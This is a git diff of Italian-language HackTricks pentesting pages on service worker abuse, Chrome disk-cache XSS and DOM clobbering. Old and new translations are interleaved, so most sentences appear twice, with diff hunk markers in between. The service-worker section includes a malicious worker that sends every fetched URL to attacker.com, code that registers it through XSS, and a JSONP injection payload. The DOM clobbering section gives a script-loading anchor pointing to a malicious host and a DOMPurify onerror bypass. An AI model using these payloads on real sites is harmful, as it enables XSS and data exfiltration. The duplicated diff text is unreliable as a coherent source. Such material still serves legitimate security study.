Le **autorizzazioni alle notifiche push** influenzano direttamente la capacità di un **service worker** di comunicare con il server senza interazione diretta dell'utente. Se le autorizzazioni vengono negate, limitano il potenziale del service worker di costituire una minaccia continua. Al contrario, concedere le autorizzazioni aumenta i rischi di sicurezza abilitando la ricezione ed esecuzione di potenziali exploit.
I **permessi per le notifiche push** influenzano direttamente la capacità di un **service worker** di comunicare con il server senza interazione diretta dell'utente. Se i permessi vengono negati, si limita il potenziale del service worker di costituire una minaccia continua. Al contrario, concedere i permessi aumenta i rischi per la sicurezza abilitando la ricezione e l'esecuzione di potenziali exploit.
## Attacco Creazione di un Service Worker
## Attacco Creando un Service Worker
Per sfruttare questa vulnerabilità è necessario trovare:
* Un modo per **caricare file JS arbitrari** sul server e un **XSS per caricare il service worker** del file JS caricato
* Una **richiesta JSONP vulnerabile** in cui è possibile **manipolare l'output (con codice JS arbitrario)** e un **XSS** per **caricare il JSONP con un payload** che **caricherà un service worker malevolo**.
* Una **richiesta JSONP vulnerabile** dove puoi **manipolare l'output (con codice JS arbitrario)** e un **XSS** per **caricare il JSONP con un payload** che **caricherà un service worker malevolo**.
Nell'esempio seguente presenterò un codice per **registrare un nuovo service worker** che ascolterà l'evento `fetch` e **invierà al server degli attaccanti ogni URL recuperato** (questo è il codice di cui avresti bisogno per **caricare** sul **server** o caricare tramite una risposta **JSONP vulnerabile**):
Nell'esempio seguente presenterò un codice per **registrare un nuovo service worker** che ascolterà l'evento `fetch` e **invierà al server degli attaccanti ogni URL recuperato** (questo è il codice che dovresti **caricare** sul **server** o caricare tramite una **risposta JSONP vulnerabile**):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
E questo è il codice che **registra il worker** (il codice che dovresti essere in grado di eseguire sfruttando un **XSS**). In questo caso verrà inviata una richiesta **GET** al server degli **attaccanti** **notificando** se la **registrazione** del service worker è stata o meno riuscita:
E questo è il codice che **registrerà il worker** (il codice che dovresti essere in grado di eseguire abusando di un **XSS**). In questo caso, una richiesta **GET** verrà inviata al server **degli attaccanti** **notificando** se la **registrazione** del service worker è stata completata con successo o meno:
```javascript
<script>
window.addEventListener('load', function() {
@ -67,17 +67,17 @@ xhttp2.send();
});
</script>
```
Nel caso si voglia abusare di un endpoint JSONP vulnerabile, è necessario inserire il valore all'interno di `var sw`. Ad esempio:
In caso di abuso di un endpoint JSONP vulnerabile, dovresti inserire il valore all'interno di `var sw`. Ad esempio:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Esiste un **C2** dedicato allo **sfruttamento dei Service Workers** chiamato [**Shadow Workers**](https://shadow-workers.github.io) che sarà molto utile per sfruttare queste vulnerabilità.
C'è un **C2** dedicato all'**sfruttamento dei Service Workers** chiamato [**Shadow Workers**](https://shadow-workers.github.io) che sarà molto utile per abusare di queste vulnerabilità.
La direttiva della **cache di 24 ore** limita la vita di un **service worker (SW)** maligno o compromesso a al massimo 24 ore dopo la correzione di una vulnerabilità XSS, assumendo uno stato di client online. Per ridurre al minimo la vulnerabilità, gli operatori del sito possono ridurre il Time-To-Live (TTL) dello script SW. Ai developer viene anche consigliato di creare un [**interruttore di disattivazione del service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) per una rapida disattivazione.
La **direttiva di cache di 24 ore** limita la vita di un **service worker (SW)** malevolo o compromesso a un massimo di 24 ore dopo una correzione della vulnerabilità XSS, assumendo lo stato online del client. Per minimizzare la vulnerabilità, gli operatori del sito possono ridurre il Time-To-Live (TTL) dello script SW. Si consiglia inoltre agli sviluppatori di creare un [**kill-switch per il service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) per una rapida disattivazione.
## Abuso di `importScripts` in un SW tramite DOM Clobbering
## Abusare di `importScripts` in un SW tramite DOM Clobbering
La funzione **`importScripts`** chiamata da un Service Worker può **importare uno script da un dominio diverso**. Se questa funzione viene chiamata utilizzando un **parametro che un attaccante potrebbe** modificare, potrebbe **importare uno script JS dal suo dominio** e ottenere XSS.
La funzione **`importScripts`** chiamata da un Service Worker può **importare uno script da un dominio diverso**. Se questa funzione viene chiamata utilizzando un **parametro che un attaccante potrebbe** modificare, sarebbe in grado di **importare uno script JS dal suo dominio** e ottenere XSS.
**Questo bypassa anche le protezioni CSP.**
@ -105,7 +105,7 @@ Per ulteriori informazioni su cosa sia il DOM Clobbering, controlla:
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Se l'URL/dominio che il SW sta utilizzando per chiamare **`importScripts`** è **all'interno di un elemento HTML**, è **possibile modificarlo tramite DOM Clobbering** per fare in modo che il SW **carichi uno script dal proprio dominio**.
Se l'URL/dominio che il SW utilizza per chiamare **`importScripts`** è **all'interno di un elemento HTML**, è **possibile modificarlo tramite DOM Clobbering** per far sì che il SW **carichi uno script dal tuo dominio**.
Per un esempio di questo, controlla il link di riferimento.
@ -119,14 +119,17 @@ Per un esempio di questo, controlla il link di riferimento.
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,50 +1,56 @@
# Chrome Cache to XSS
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Ulteriori dettagli approfonditi [**in questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
La tecnica discussa qui riguarda la comprensione del comportamento e dell'interazione di due tipi di cache principali: la **cache di avanzamento/indietro (bfcache)** e la **cache su disco**. La bfcache, che memorizza uno snapshot completo di una pagina, compreso l'heap JavaScript, ha la precedenza sulla cache su disco per le navigazioni di avanzamento/indietro grazie alla sua capacità di memorizzare uno snapshot più completo. La cache su disco, al contrario, memorizza le risorse scaricate dal web senza includere l'heap JavaScript ed è utilizzata per le navigazioni di avanzamento/indietro per ridurre i costi di comunicazione. Un aspetto interessante della cache su disco è l'inclusione delle risorse scaricate utilizzando `fetch`, il che significa che le risorse URL accessate verranno renderizzate dal browser dalla cache.
### Punti chiave:
- La **bfcache** ha la precedenza sulla cache su disco nelle navigazioni di avanzamento/indietro.
- Per utilizzare una pagina memorizzata nella cache su disco invece della bfcache, quest'ultima deve essere disabilitata.
Disabilitazione della bfcache:
Di default, Puppeteer disabilita la bfcache, in linea con le condizioni elencate nella documentazione di Chromium. Un metodo efficace per disabilitare la bfcache è l'utilizzo di `RelatedActiveContentsExist`, ottenuto aprendo una pagina con `window.open()` che mantiene un riferimento a `window.opener`.
Riproduzione del comportamento:
1. Visita una pagina web, ad esempio `https://example.com`.
2. Esegui `open("http://spanote.seccon.games:3000/api/token")`, che restituisce una risposta del server con codice di stato 500.
3. Nella nuova scheda aperta, vai a `http://spanote.seccon.games:3000/`. Questa azione memorizza la risposta di `http://spanote.seccon.games:3000/api/token` come cache su disco.
4. Usa `history.back()` per tornare indietro. L'azione comporta il rendering della risposta JSON memorizzata sulla pagina.
La conferma dell'utilizzo della cache su disco può essere verificata tramite l'uso di DevTools in Google Chrome.
Per ulteriori dettagli sulla bfcache e sulla cache su disco, è possibile trovare riferimenti su [web.dev sulla bfcache](https://web.dev/i18n/en/bfcache/) e sui [documenti di progettazione di Chromium sulla cache su disco](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), rispettivamente.
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Supporta HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}
Maggiore dettaglio [**in questo writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
La tecnica discussa qui coinvolge la comprensione del comportamento e dell'interazione di due tipi principali di cache: la **back/forward cache (bfcache)** e la **disk cache**. La bfcache, che memorizza un'istantanea completa di una pagina inclusa la heap di JavaScript, è prioritizzata rispetto alla disk cache per le navigazioni avanti/indietro grazie alla sua capacità di memorizzare un'istantanea più completa. La disk cache, al contrario, memorizza risorse recuperate dal web senza includere la heap di JavaScript, ed è utilizzata per le navigazioni avanti/indietro per ridurre i costi di comunicazione. Un aspetto interessante della disk cache è la sua inclusione di risorse recuperate utilizzando `fetch`, il che significa che le risorse URL accessibili saranno renderizzate dal browser dalla cache.
### Punti Chiave:
- La **bfcache** ha precedenza sulla disk cache nelle navigazioni avanti/indietro.
- Per utilizzare una pagina memorizzata nella disk cache invece della bfcache, quest'ultima deve essere disabilitata.
### Disabilitare bfcache:
Per impostazione predefinita, Puppeteer disabilita la bfcache, allineandosi alle condizioni elencate nella documentazione di Chromium. Un metodo efficace per disabilitare la bfcache è attraverso l'uso di `RelatedActiveContentsExist`, ottenuto aprendo una pagina con `window.open()` che mantiene un riferimento a `window.opener`.
### Riprodurre il comportamento:
1. Visita una pagina web, ad esempio, `https://example.com`.
2. Esegui `open("http://spanote.seccon.games:3000/api/token")`, il che risulta in una risposta del server con un codice di stato 500.
3. Nella scheda appena aperta, naviga a `http://spanote.seccon.games:3000/`. Questa azione memorizza la risposta di `http://spanote.seccon.games:3000/api/token` come una disk cache.
4. Usa `history.back()` per tornare indietro. L'azione risulta nella renderizzazione della risposta JSON memorizzata nella pagina.
La verifica che la disk cache sia stata utilizzata può essere confermata attraverso l'uso di DevTools in Google Chrome.
Per ulteriori dettagli su bfcache e disk cache, i riferimenti possono essere trovati su [web.dev su bfcache](https://web.dev/i18n/en/bfcache/) e [documenti di design di Chromium sulla disk cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), rispettivamente.
{% hint style="success" %}
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}

View file

@ -1,36 +1,39 @@
# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Principi di base**
## **Basics**
È possibile generare **variabili globali all'interno del contesto JS** con gli attributi **`id`** e **`name`** nei tag HTML.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Solo** alcuni elementi possono utilizzare l'**attributo name** per sovrascrivere le variabili globali, sono: `embed`, `form`, `iframe`, `image`, `img` e `object`.
**Solo** alcuni elementi possono utilizzare l'**attributo name** per **clobber** i globali, essi sono: `embed`, `form`, `iframe`, `image`, `img` e `object`.
Curiosamente, quando si utilizza un **elemento form** per **sovrascrivere** una variabile, si otterrà il valore **`toString`** dell'elemento stesso: `[object HTMLFormElement]`, ma con l'**ancora** il **`toString`** sarà l'**`href`** dell'ancora. Pertanto, se si sovrascrive utilizzando il tag **`a`**, è possibile **controllare** il **valore** quando viene **trattato come una stringa**:
È interessante notare che, quando si utilizza un **elemento form** per **clobber** una variabile, si otterrà il valore **`toString`** dell'elemento stesso: `[object HTMLFormElement]`, ma con **anchor** il **`toString`** sarà l'**href** dell'anchor. Pertanto, se si **clobber** utilizzando il tag **`a`**, si può **controllare** il **valore** quando è **trattato come una stringa**:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Array e Attributi
### Arrays & Attributes
È anche possibile **sovrascrivere un array** e **gli attributi di un oggetto**:
È anche possibile **sovrascrivere un array** e **attributi di oggetti**:
```html
<a id=x>
<a id=x name=y href=controlled>
@ -39,7 +42,7 @@ console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Per sovrascrivere **un terzo attributo** (ad esempio x.y.z), è necessario utilizzare un **`form`**:
Per sovrascrivere **un 3° attributo** (ad es. x.y.z), è necessario utilizzare un **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
@ -47,17 +50,17 @@ Per sovrascrivere **un terzo attributo** (ad esempio x.y.z), è necessario utili
alert(x.y.z.value)//controlled
</script>
```
Sovrascrivere più attributi è **più complicato ma ancora possibile**, utilizzando gli iframe:
Clobbering più attributi è **più complicato ma ancora possibile**, usando iframe:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
Il tag style viene utilizzato per **dare abbastanza tempo all'iframe per essere renderizzato**. Senza di esso, si otterrà un avviso di **non definito**.
Il tag style è usato per **dare abbastanza tempo all'iframe per renderizzare**. Senza di esso troverai un avviso di **undefined**.
{% endhint %}
Per sovrascrivere attributi più profondi, è possibile utilizzare **iframe con codifica HTML** in questo modo:
Per sovrascrivere attributi più profondi, puoi usare **iframes con codifica html** in questo modo:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
@ -65,9 +68,9 @@ Per sovrascrivere attributi più profondi, è possibile utilizzare **iframe con
alert(a.b.c.d.e)//controlled
</script>
```
### **Bypass del filtro**
### **Evasione dei Filtri**
Se un filtro sta **iterando** attraverso le **proprietà** di un nodo utilizzando qualcosa come `document.getElementByID('x').attributes`, potresti **sovrascrivere** l'attributo **`.attributes`** e **rompere il filtro**. Altre proprietà del DOM come **`tagName`**, **`nodeName`** o **`parentNode`** e altre ancora sono anche **sovrascrivibili**.
Se un filtro sta **iterando** attraverso le **proprietà** di un nodo utilizzando qualcosa come `document.getElementByID('x').attributes`, potresti **sovrascrivere** l'attributo **`.attributes`** e **rompere il filtro**. Altre proprietà del DOM come **`tagName`**, **`nodeName`** o **`parentNode`** e altre sono anch'esse **sovrascrivibili**.
```html
<form id=x></form>
<form id=y>
@ -78,13 +81,13 @@ console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Sovrascrittura di `window.someObject`**
## **Clobbering `window.someObject`**
In JavaScript è comune trovare:
```javascript
var someObject = window.someObject || {};
```
La manipolazione dell'HTML sulla pagina consente di sovrascrivere `someObject` con un nodo DOM, potenzialmente introducendo vulnerabilità di sicurezza. Ad esempio, è possibile sostituire `someObject` con un elemento anchor che punta a uno script maligno:
Manipolare l'HTML sulla pagina consente di sovrascrivere `someObject` con un nodo DOM, potenzialmente introducendo vulnerabilità di sicurezza. Ad esempio, puoi sostituire `someObject` con un elemento di ancoraggio che punta a uno script malevolo:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
@ -101,25 +104,25 @@ document.body.appendChild(script);
```
Questo metodo sfrutta la sorgente dello script per eseguire codice indesiderato.
**Trucco**: **`DOMPurify`** ti permette di utilizzare il protocollo **`cid:`**, che **non codifica gli apici doppi**. Ciò significa che puoi **iniettare un apice doppio codificato che verrà decodificato durante l'esecuzione**. Pertanto, iniettare qualcosa come **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** farà sì che l'apice codificato in HTML `&quot;` venga **decodificato durante l'esecuzione** e **scappi** dal valore dell'attributo per **creare** l'evento **`onerror`**.
**Trucco**: **`DOMPurify`** consente di utilizzare il protocollo **`cid:`**, che **non codifica in URL le virgolette doppie**. Ciò significa che puoi **iniettare una virgoletta doppia codificata che verrà decodificata durante l'esecuzione**. Pertanto, iniettare qualcosa come **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** farà sì che l'HTML codificato `&quot;` venga **decodificato durante l'esecuzione** e **escapato** dal valore dell'attributo per **creare** l'evento **`onerror`**.
Un'altra tecnica utilizza un elemento **`form`**. Alcune librerie lato client ispezionano gli attributi di un elemento form appena creato per pulirli. Tuttavia, aggiungendo un `input` con `id=attributes` all'interno del form, sovrascrivi effettivamente la proprietà degli attributi, impedendo al sanitizer di accedere agli attributi effettivi.
Un'altra tecnica utilizza un elemento **`form`**. Alcune librerie client-side ispezionano gli attributi di un nuovo elemento form creato per pulirli. Tuttavia, aggiungendo un `input` con `id=attributes` all'interno del modulo, sovrascrivi effettivamente la proprietà degli attributi, impedendo al sanitizzatore di accedere agli attributi reali.
Puoi [**trovare un esempio di questo tipo di sovrascrittura in questa descrizione di CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
Puoi [**trovare un esempio di questo tipo di clobbering in questo CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Sovrascrittura dell'oggetto documento
## Clobbering dell'oggetto documento
Secondo la documentazione è possibile sovrascrivere gli attributi dell'oggetto documento utilizzando la sovrascrittura del DOM:
Secondo la documentazione, è possibile sovrascrivere gli attributi dell'oggetto documento utilizzando il DOM Clobbering:
> L'interfaccia [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [supporta proprietà denominate](https://webidl.spec.whatwg.org/#dfn-support-named-properties). I nomi delle proprietà supportate di un oggetto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) in un determinato momento consistono dei seguenti, in [ordine gerarchico](https://dom.spec.whatwg.org/#concept-tree-order) secondo l'elemento che li ha contribuiti, ignorando i duplicati successivi e con i valori degli attributi [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) che precedono i valori degli attributi name quando lo stesso elemento contribuisce ad entrambi:
> L'interfaccia [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [supporta proprietà nominate](https://webidl.spec.whatwg.org/#dfn-support-named-properties). I [nomi delle proprietà supportate](https://webidl.spec.whatwg.org/#dfn-supported-property-names) di un oggetto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) in qualsiasi momento consistono nei seguenti, in [ordine ad albero](https://dom.spec.whatwg.org/#concept-tree-order) secondo l'elemento che le ha contribuite, ignorando i duplicati successivi, e con i valori degli attributi [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) che vengono prima dei valori degli attributi name quando lo stesso elemento contribuisce a entrambi:
>
> \- Il valore dell'attributo content name per tutti gli elementi [esposti](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e [esposti](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) che hanno un attributo content name non vuoto e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root);\
> \- Il valore dell'attributo di contenuto name per tutti gli elementi [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) che hanno un attributo di contenuto name non vuoto e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Il valore dell'attributo content [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) per tutti gli elementi [esposti](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) che hanno un attributo content [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vuoto e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root);\
> \- Il valore dell'attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) per tutti gli elementi [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) che hanno un attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vuoto e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- Il valore dell'attributo content [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) per tutti gli elementi [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) che hanno sia un attributo content [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vuoto che un attributo content name non vuoto e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root).
> \- Il valore dell'attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) per tutti gli elementi [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) che hanno sia un attributo di contenuto [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vuoto che un attributo di contenuto name non vuoto, e sono [in un albero di documenti](https://dom.spec.whatwg.org/#in-a-document-tree) con il documento come loro [radice](https://dom.spec.whatwg.org/#concept-tree-root).
Utilizzando questa tecnica puoi sovrascrivere valori comunemente utilizzati come `document.cookie`, `document.body`, `document.children` e persino metodi nell'interfaccia Document come `document.querySelector`.
